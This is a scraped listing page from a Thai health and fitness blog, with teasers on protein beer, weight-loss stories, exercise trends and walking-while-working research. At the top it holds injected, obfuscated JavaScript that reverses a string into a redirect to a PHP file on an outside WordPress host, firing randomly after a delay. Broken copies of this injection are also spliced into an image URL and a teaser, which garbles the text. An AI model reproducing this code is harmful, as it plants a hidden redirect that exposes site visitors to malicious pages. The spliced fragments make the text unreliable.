$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-Family-750x418.jpg" style="background-image: url(https://www.stepextra.com/wp-content/uploads/2018/05/Sanitarium-Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-Family-750x418.jpg)">

Healthy News

Supplemental Brewing เบียร์ดีเพื่อสุขภาพ

by stepextra

9 October 2015

คนรักการออกกำลังกายและชอบดื่มเบียร์ เราขอนำเสนอทางเลือกใหม่ Supplemental Brewing หรือ Protein Beer เบียร์ดีๆ ให้ทุกการออกกำลังกายเหมือวันพักผ่อน

คู่รักคู่ฟิต สุดยอดการแปลงร่างที่คุณต้องตะลึง!

by stepextra

2 September 2015

สุดยอดคู่รักที่คุณต้องเอาเป็นแบบอย่าง Song Jin Yoo และ Shin Ji Hoo เปลี่ยนร่างกายตัวเองอย่างไม่น่าเชื่อในเวลา 4 เดือนโดยการออกกำลังอย่างเป็นประจำและควบคุมปริมาณแคลอรี่

เห็นเเล้ว Shock! คนดังเปลี่ยนไป!

by stepextra

10 August 2015

เห็นเเล้วก็อดเสียใจไม่ได้เลยครับ ไม่รู้ว่าหนุ่มๆ สาวๆ เค้าไปทำอะไรกันจึงอ้วนเอาได้มากขนาดนี้ เราเองก็อย่าลืมระบประทานอาหารเเต่พอดีเเละออกกำลังกายด้วยนะครับ

สวรรค์ของคนกินคลีน! เมื่อพบสาหร่ายสีแดงนำมาทอดแล้วรสชาติเหมือน “เบค่อน”

by gogolico

7 December 2016

การกินคลีนที่มีรสชาติอร่อยลิ้นจะไม่ใช่แค่ความฝัน เมื่อมีนักวิจัยพัฒนาสาหร่ายทะเลที่เอาไปทอดแล้วรสชาติเหมือนกับ "เบค่อน" ได้สำเร็จ

ลองมั้ย Recovery Beer

by stepextra

2 July 2015

และแล้วความฝันของสิงห์นักปั่นก็เป็นจริง....เมื่อเราสามารถดื่มเบียร์หลังออกกำลังกายได้

181.43 kg สูตรลดน้ำหนักที่คุณก็ทำได้

by Kanthad Yangsattha

18 May 2015

ย้อนกลับไปสองปีก่อนหนุ่มน้อย (ที่จริงร่างเขาก็ไม่น้อยเลยครับ) Ronnie Brower ใช้ชีวิตเอาแบบซะคุ้มค่าแต่สิ่งที่เค้าต้องจ่ายคือร่างกายที่มีน้ำหนักถึง 306.17 กิโลกรัม! สภาพเขาตอนนั้นนอกจากจะไม่สามารถออกจากบ้านได้ งานทำก็ไม่มี แถมคุณหมอก็บอกว่า ถ้ายังดำเนินชีวิตในสภาพนี้ต่อไปรับรองว่าอยู่ไม่ถึง 35 ปีแน่ เมื่อเรื่องนี้ถึงหู Joe Bufano ครูสอน Brower สมัยมัธยมปลาย ตาคุณครู...

Walmart Healthy Shoppoing Cart จะ Shopping อย่างไรให้ได้สุขภาพ

by Kanthad Yangsattha

28 April 2015

Shopping อย่างไรให้ได้สุขภาพ รอบนี้ Walmart จัดให้....สุดยอดนวัตกรรมเเห่ง Digital health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Fitness ผสมกับ Shopping lifestyle...

วิวัฒนาการออกกำลังกายของสาวๆ ในรอบ 100 ปี

by gogolico

2 April 2015

การเต้นแอโรบิคเป็นวิธีการออกกำลังกายที่ช่วยเผาผลาญแคลลอรี่ กระชับกล้ามเนื้อ และช่วยให้ร่างกายแข็งแรงได้อย่างรวดเร็ว มาดูคลิปวิดีโอของ benenden health ที่จะพาคุณย้อนยุคไปดูว่า 100 ปีที่ผ่านมา เทรนด์การเต้นและออกกำลังกายของสาวๆ มีอะไรกันบ้าง

แอพ Runtastic Running Pro และ Sit-ups Pro ลดเหลือ 3 บาท ซื้อด่วน!

by gogolico

4 March 2015

ลดราคาพิเศษฉลอง Google Play Store ครบรอบ 3 ปี มีแอพชื่อดังมาลดราคาจนเหมือนจะแจกฟรี งานนี้มี Runtastic Running Pro และ Runtastic Sit-ups Pro มาลดราคากันด้วย

5 เทรนด์การออกกำลังกายน่าลองในปี 2558

by Kanthad Yangsattha

25 February 2015

เรามาดู 5 เทรนด์การออกกำลังกายน่าลองในปี 2558 เพื่อสร้างแรงบันดาลใจในการออกกำลังกายกัน

ผลวิจัยเผย เดินไปด้วยทำงานไปด้วย ช่วยให้คุณฉลาดขึ้น!

by gogolico

11 February 2015

ผลการวิจัยจากประเทศแคนนาดาเกี่ยวกับการออกกำลังกายที่น่าสนใจ ที่ระบุว่าการทำงานไพร้อมกับออกกำลังกายไปด้วยนั้น มีผลช่วยให้ตั้งใจทำงานมากขึ้นและได้งานที่มีประสิทธิผลมากกว่านั่งทำงานเฉยๆ การทดลองได้ทำกับกลุ่มตัวอย่างเป็นนักศึกษา 18 คน โดยให้คนเดินบนลู่วิ่ง treadmill แบบที่มีโต๊ะทำงานไปได้ด้วย โดยที่ระหว่างเดินก็ให้อ่านข้อความและตอบอีเมล์ที่ตั้งขึ้นมา เทียบกับคนที่นั่งทำงานตามปกติที่ให้อ่านและตอบอีเมล์ชุดเดียวกัน และใช้เครื่องตรวจคลื่นไฟฟ้าสมองตรวจวัดด้วย หลังจากการทดสอบให้พักเป็นเวลา 10 นาทีก็จะมีการถามคำถามเกี่ยวกับส่ิงที่อ่านไปแบบคำถามถูก-ผิด ผลที่ได้คือกลุ่มคนที่เดินบน treadmill นั้นสามารถตอบคำถามถูกต้องได้มากกว่ากลุ่มที่นั่งทำงานปกติถึง 34.9% และผลจากการวัดคลื่นไฟฟ้าสมองนั้นแสดงให้เห็นว่ากลุ่มคนที่ทำงานโดยที่เดินบน treadmill...